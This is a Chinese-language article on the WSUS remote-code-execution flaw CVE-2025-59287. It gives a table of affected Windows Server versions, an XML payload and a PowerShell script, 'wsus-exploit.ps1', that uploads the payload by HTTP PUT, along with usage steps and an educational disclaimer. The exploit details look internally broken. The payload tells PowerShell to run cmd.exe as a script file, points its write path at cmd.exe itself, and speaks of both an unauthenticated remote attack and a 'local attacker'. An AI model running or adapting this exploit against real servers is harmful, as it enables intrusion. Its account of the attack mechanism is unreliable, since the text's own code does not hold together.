CVE-2025-59287 是 Windows Server Update Services (WSUS) 中的一个严重 RCE 漏洞,由对不可信数据进行不安全反序列化所致。它允许远程攻击者在无需身份验证的情况下执行任意代码。由于已被积极利用,建议立即进行修补。
CVE‑2025‑59287 – Windows Server Update Services (WSUS) 中的远程代码执行威胁
作者:Mark Mallia
Microsoft 的 Windows Server Update Services (WSUS) 是每个 Microsoft Windows Server 平台补丁管理的支柱。它从 Microsoft 更新目录中检索更新、验证更新,并将其推送到网络中的所有服务器。被标识为 CVE‑2025‑59287 的漏洞利用了 WSUS 内部的不安全反序列化例程,允许攻击者将任意 XML 内容注入更新源。由于 WSUS 在处理负载时不对源路径或命令数据进行任何验证,攻击者可以提供任意文件名和路径,从而在目标服务器上实现完全远程代码执行。
为何重要:
| 产品版本 | 受影响版本 |
|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(如果您的环境使用不同的补丁版本,请相应调整范围。)
System.Xml.Linq.XElement 反序列化此文件。<SourcePath> 元素中放置任意值;该值将作为绝对路径写入磁盘。<Command> 标签内的内容由 PowerShell 执行,从而实现完全远程代码执行。以下是我们将上传到易受攻击服务器的 XML 负载。
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
以下脚本将生成 XML 负载,通过 HTTP PUT 将其上传到您的 WSUS 实例,并留下日志文件以供故障排除。
# --------------------------------------------------
# 文件: wsus‑exploit.ps1
# 用途: 生成恶意 UpdateStream.xml,
# 将其上传到 WSUS 服务器,
# 触发更新源。
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# 构建 XML 负载
Build-Xml -file $XmlFile
# 通过 HTTP PUT 上传
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "上传完成 – WSUS 现在应处理该更新源。"
winver.exe,确认版本是否在上述范围内。wsus‑exploit.ps1 复制到可以访问您的 WSUS 实例的机器上,如果您使用不同的路径或端口,请修改 $TargetUrl。C:\Windows\System32\cmd.exe 出现在每个目标服务器上,并且包含预期的负载。本文提供的信息和漏洞利用代码仅用于教育目的。请确保您已获得授权对您自己的 WSUS 环境运行此测试,并在对生产系统部署更改时遵循所有适用的安全最佳实践指南。